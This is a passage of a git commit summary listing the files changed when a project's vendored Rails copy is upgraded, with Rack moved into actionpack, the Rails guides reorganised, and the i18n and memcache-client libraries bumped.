.../railties/guides/source/index.erb.textile | 116 + .../railties/guides/source/layout.html.erb | 100 + .../source/layouts_and_rendering.textile} | 722 ++-- .../railties/guides/source/migrations.textile | 591 +++ .../source/performance_testing.textile} | 361 +- .../railties/guides/source/plugins.textile | 1512 +++++++ .../guides/source/rails_on_rack.textile | 256 ++ .../source/routing.textile} | 670 ++-- .../source/security.textile} | 740 ++-- .../source/testing.textile} | 571 ++- vendor/rails/railties/html/500.html | 3 - vendor/rails/railties/lib/commands/server.rb | 19 +- vendor/rails/railties/lib/console_app.rb | 5 +- vendor/rails/railties/lib/fcgi_handler.rb | 22 +- vendor/rails/railties/lib/initializer.rb | 48 +- vendor/rails/railties/lib/rails/plugin.rb | 8 +- .../rails/railties/lib/rails/plugin/loader.rb | 59 +- vendor/rails/railties/lib/rails/rack/metal.rb | 17 +- vendor/rails/railties/lib/rails/version.rb | 2 +- .../railties/lib/rails_generator/commands.rb | 8 +- .../applications/app/template_runner.rb | 10 +- .../scaffold/templates/controller.rb | 2 +- .../scaffold/templates/functional_test.rb | 8 +- .../scaffold/templates/layout.html.erb | 2 +- .../scaffold/templates/view_edit.html.erb | 4 +- .../scaffold/templates/view_index.html.erb | 4 +- .../scaffold/templates/view_new.html.erb | 4 +- .../scaffold/templates/view_show.html.erb | 2 +- .../rails/railties/lib/tasks/databases.rake | 1 + .../railties/lib/tasks/documentation.rake | 11 +- vendor/rails/railties/lib/tasks/gems.rake | 4 +- vendor/rails/railties/lib/tasks/testing.rake | 2 +- vendor/rails/railties/lib/webrick_server.rb | 1 + vendor/rails/railties/test/abstract_unit.rb | 22 +- .../railties/test/backtrace_cleaner_test.rb | 44 +- vendor/rails/railties/test/boot_test.rb | 5 - .../rails/railties/test/console_app_test.rb | 20 +- vendor/rails/railties/test/error_page_test.rb | 40 - .../railties/test/fcgi_dispatcher_test.rb | 69 +- .../engines/engine/app/metal/engine_metal.rb | 10 + .../railties/test/gem_dependency_test.rb | 230 +- .../rails_scaffold_generator_test.rb | 24 +- .../generators/rails_template_runner_test.rb | 16 +- .../rails/railties/test/initializer_test.rb | 518 ++- .../rails/railties/test/plugin_loader_test.rb | 11 +- .../railties/test/plugin_locator_test.rb | 121 +- vendor/rails/railties/test/plugin_test.rb | 321 +- 641 files changed, 20541 insertions(+), 71675 deletions(-) delete mode 100644 vendor/plugins/rack/AUTHORS delete mode 100644 vendor/plugins/rack/COPYING delete mode 100644 vendor/plugins/rack/ChangeLog delete mode 100644 vendor/plugins/rack/KNOWN-ISSUES delete mode 100644 vendor/plugins/rack/RDOX delete mode 100644 vendor/plugins/rack/README delete mode 100644 vendor/plugins/rack/Rakefile delete mode 100644 vendor/plugins/rack/SPEC delete mode 100755 vendor/plugins/rack/bin/rackup delete mode 100644 vendor/plugins/rack/contrib/rack_logo.svg delete mode 100644 vendor/plugins/rack/doc/classes/L2.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Adapter.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Builder.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Cascade.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/CommonLogger.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/ContentLength.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Deflater.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Directory.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/File.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Forwarder.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Head.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Lint.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Lobster.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/MethodOverride.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Mime.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/MockResponse.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Recursive.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Reloader.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Request.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Response.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Session.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Pool.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/ShowStatus.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Static.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/URLMap.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/Context.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html delete mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html delete mode 100644 vendor/plugins/rack/doc/created.rid delete mode 100644 vendor/plugins/rack/doc/files/KNOWN-ISSUES.html delete mode 100644 vendor/plugins/rack/doc/files/RDOX.html delete mode 100644 vendor/plugins/rack/doc/files/README.html delete mode 100644 vendor/plugins/rack/doc/files/SPEC.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/builder_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/directory_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/file_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/forward_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/head_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/lint_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/mime_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/mock_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/request_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/response_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/static_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack/utils_rb.html delete mode 100644 vendor/plugins/rack/doc/files/lib/rack_rb.html delete mode 100644 vendor/plugins/rack/doc/fr_class_index.html delete mode 100644 vendor/plugins/rack/doc/fr_file_index.html delete mode 100644 vendor/plugins/rack/doc/fr_method_index.html delete mode 100644 vendor/plugins/rack/doc/index.html delete mode 100644 vendor/plugins/rack/doc/rdoc-style.css delete mode 100644 vendor/plugins/rack/example/lobster.ru delete mode 100644 vendor/plugins/rack/example/protectedlobster.rb delete mode 100644 vendor/plugins/rack/example/protectedlobster.ru delete mode 100644 vendor/plugins/rack/lib/rack/auth/openid.rb delete mode 100644 vendor/plugins/rack/lib/rack/deflater.rb delete mode 100644 vendor/plugins/rack/lib/rack/session/abstract/id.rb delete mode 100644 vendor/plugins/rack/lib/rack/session/memcache.rb delete mode 100644 vendor/plugins/rack/lib/rack/session/pool.rb delete mode 100644 vendor/plugins/rack/test/cgi/lighttpd.conf delete mode 100755 vendor/plugins/rack/test/cgi/test delete mode 100755 vendor/plugins/rack/test/cgi/test.fcgi delete mode 100755 vendor/plugins/rack/test/cgi/test.ru delete mode 100644 vendor/plugins/rack/test/spec_rack_auth_basic.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_auth_digest.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_auth_openid.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_builder.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_camping.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_cascade.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_cgi.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_commonlogger.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_conditionalget.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_content_length.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_deflater.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_directory.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_fastcgi.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_file.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_handler.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_head.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_lint.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_lobster.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_methodoverride.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_mock.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_mongrel.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_recursive.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_request.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_response.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_session_cookie.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_session_memcache.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_session_pool.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_showexceptions.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_showstatus.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_static.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_thin.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_urlmap.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_utils.rb delete mode 100644 vendor/plugins/rack/test/spec_rack_webrick.rb delete mode 100644 vendor/plugins/rack/test/testrequest.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/lock.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/multipart.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/rack_ext/parse_query.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/reloader.rb delete mode 100644 vendor/rails/actionpack/lib/action_controller/url_encoded_pair_parser.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack.rb (96%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/adapter/camping.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/abstract/handler.rb (58%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/abstract/request.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/basic.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/digest/md5.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/digest/nonce.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/digest/params.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/auth/digest/request.rb (90%) create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/builder.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/cascade.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/commonlogger.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/conditionalget.rb (98%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/content_length.rb (97%) create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/deflater.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/directory.rb (99%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/file.rb (97%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/cgi.rb (91%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/evented_mongrel.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/fastcgi.rb (98%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/lsws.rb (91%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/mongrel.rb (96%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/scgi.rb (93%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/swiftiplied_mongrel.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/thin.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/handler/webrick.rb (90%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/head.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/lint.rb (95%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/lobster.rb (100%) create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/lock.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/methodoverride.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/mime.rb (97%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/mock.rb (97%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/recursive.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/reloader.rb (97%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/request.rb (87%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/response.rb (94%) create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/abstract/id.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/session/cookie.rb (98%) create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/memcache.rb create mode 100644 vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/session/pool.rb rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/showexceptions.rb (99%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/showstatus.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/static.rb (100%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/urlmap.rb (89%) rename vendor/{plugins/rack/lib => rails/actionpack/lib/action_controller/vendor/rack-1.0}/rack/utils.rb (73%) create mode 100644 vendor/rails/actionpack/lib/action_view/reloadable_template.rb create mode 100644 vendor/rails/actionpack/test/fixtures/layout_tests/alt/layouts/alt.rhtml create mode 100644 vendor/rails/actionpack/test/fixtures/layouts/xhr.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb create mode 100644 vendor/rails/actionpack/test/fixtures/test/utf8.html.erb create mode 100644 vendor/rails/activerecord/lib/active_record/batches.rb create mode 100644 vendor/rails/activerecord/test/cases/batches_test.rb create mode 100644 vendor/rails/activerecord/test/cases/connection_pool_test.rb create mode 100644 vendor/rails/activesupport/lib/active_support/core_ext/array/wrapper.rb create mode 100644 vendor/rails/activesupport/lib/active_support/core_ext/uri.rb delete mode 100644 vendor/rails/activesupport/lib/active_support/testing/core_ext/test.rb delete mode 100644 vendor/rails/activesupport/lib/active_support/testing/core_ext/test/unit/assertions.rb delete mode 100644 vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/MIT-LICENSE (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/README.textile (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/Rakefile (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/i18n.gemspec (94%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/lib/i18n.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/lib/i18n/backend/simple.rb (96%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/lib/i18n/exceptions.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/all.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/i18n_exceptions_test.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/i18n_test.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/locale/en.rb (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/locale/en.yml (100%) rename vendor/rails/activesupport/lib/active_support/vendor/{i18n-0.1.1 => i18n-0.1.3}/test/simple_backend_test.rb (90%) rename vendor/rails/activesupport/lib/active_support/vendor/{memcache-client-1.5.0.5 => memcache-client-1.6.5}/memcache.rb (76%) create mode 100644 vendor/rails/activesupport/test/core_ext/uri_ext_test.rb delete mode 100644 vendor/rails/railties/doc/guides/asciidoc.conf delete mode 100644 vendor/rails/railties/doc/guides/html/2_2_release_notes.html delete mode 100644 vendor/rails/railties/doc/guides/html/2_3_release_notes.html delete mode 100644 vendor/rails/railties/doc/guides/html/action_mailer_basics.html delete mode 100644 vendor/rails/railties/doc/guides/html/actioncontroller_basics.html delete mode 100644 vendor/rails/railties/doc/guides/html/active_record_basics.html delete mode 100644 vendor/rails/railties/doc/guides/html/active_record_querying.html delete mode 100644 vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html delete mode 100644 vendor/rails/railties/doc/guides/html/association_basics.html delete mode 100644 vendor/rails/railties/doc/guides/html/authors.html delete mode 100644 vendor/rails/railties/doc/guides/html/caching_with_rails.html delete mode 100644 vendor/rails/railties/doc/guides/html/command_line.html delete mode 100644 vendor/rails/railties/doc/guides/html/configuring.html delete mode 100644 vendor/rails/railties/doc/guides/html/creating_plugins.html delete mode 100644 vendor/rails/railties/doc/guides/html/debugging_rails_applications.html delete mode 100644 vendor/rails/railties/doc/guides/html/form_helpers.html delete mode 100644 vendor/rails/railties/doc/guides/html/getting_started_with_rails.html delete mode 100644 vendor/rails/railties/doc/guides/html/i18n.html delete mode 100644 vendor/rails/railties/doc/guides/html/index.html delete mode 100644 vendor/rails/railties/doc/guides/html/layouts_and_rendering.html delete mode 100644 vendor/rails/railties/doc/guides/html/migrations.html delete mode 100644 vendor/rails/railties/doc/guides/html/performance_testing.html delete mode 100644 vendor/rails/railties/doc/guides/html/rails_on_rack.html delete mode 100644 vendor/rails/railties/doc/guides/html/routing_outside_in.html delete mode 100644 vendor/rails/railties/doc/guides/html/security.html delete mode 100644 vendor/rails/railties/doc/guides/html/testing_rails_applications.html delete mode 100644 vendor/rails/railties/doc/guides/source/action_mailer_basics.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/csrf.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/filters.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/index.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/introduction.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/methods.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/params.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/rescue.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt delete mode 100644 vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt delete mode 100644 vendor/rails/railties/doc/guides/source/active_record_querying.txt delete mode 100644 vendor/rails/railties/doc/guides/source/authors.txt delete mode 100644 vendor/rails/railties/doc/guides/source/command_line.txt delete mode 100644 vendor/rails/railties/doc/guides/source/configuring.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/appendix.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/controllers.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/core_ext.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/creating_plugins/lib/main.rb delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/gem.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/gems.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/generator_commands.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/generator_method.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/generators.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/helpers.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/index.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/migrations.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/models.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/rdoc.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/routes.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/setup.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/tasks.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/test_setup.txt delete mode 100644 vendor/rails/railties/doc/guides/source/creating_plugins/tests.txt delete mode 100644 vendor/rails/railties/doc/guides/source/form_helpers.txt delete mode 100644 vendor/rails/railties/doc/guides/source/index.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/changelog.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/index.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/scheming.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt delete mode 100644 vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt delete mode 100644 vendor/rails/railties/doc/guides/source/rails_on_rack.txt delete mode 100644 vendor/rails/railties/doc/guides/source/stylesheets/base.css delete mode 100644 vendor/rails/railties/doc/guides/source/stylesheets/forms.css delete mode 100644 vendor/rails/railties/doc/guides/source/stylesheets/more.css delete mode 100644 vendor/rails/railties/doc/guides/source/templates/guides.html.erb create mode 100755 vendor/rails/railties/guides/files/javascripts/code_highlighter.js create mode 100755 vendor/rails/railties/guides/files/javascripts/guides.js create mode 100644 vendor/rails/railties/guides/files/javascripts/highlighters.js create mode 100644 vendor/rails/railties/guides/files/stylesheets/main.css create mode 100755 vendor/rails/railties/guides/files/stylesheets/print.css create mode 100755 vendor/rails/railties/guides/files/stylesheets/reset.css create mode 100755 vendor/rails/railties/guides/files/stylesheets/style.css create mode 100644 vendor/rails/railties/guides/files/stylesheets/syntax.css rename vendor/rails/railties/{doc/guides/source => guides}/images/belongs_to.png (100%) create mode 100644 vendor/rails/railties/guides/images/book_icon.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/bullet.gif (100%) create mode 100644 vendor/rails/railties/guides/images/chapters_icon.gif create mode 100644 vendor/rails/railties/guides/images/check_bullet.gif create mode 100644 vendor/rails/railties/guides/images/credits_pic_blank.gif rename vendor/rails/railties/{doc/guides/source => guides}/images/csrf.png (100%) rename vendor/rails/railties/{doc/guides/source 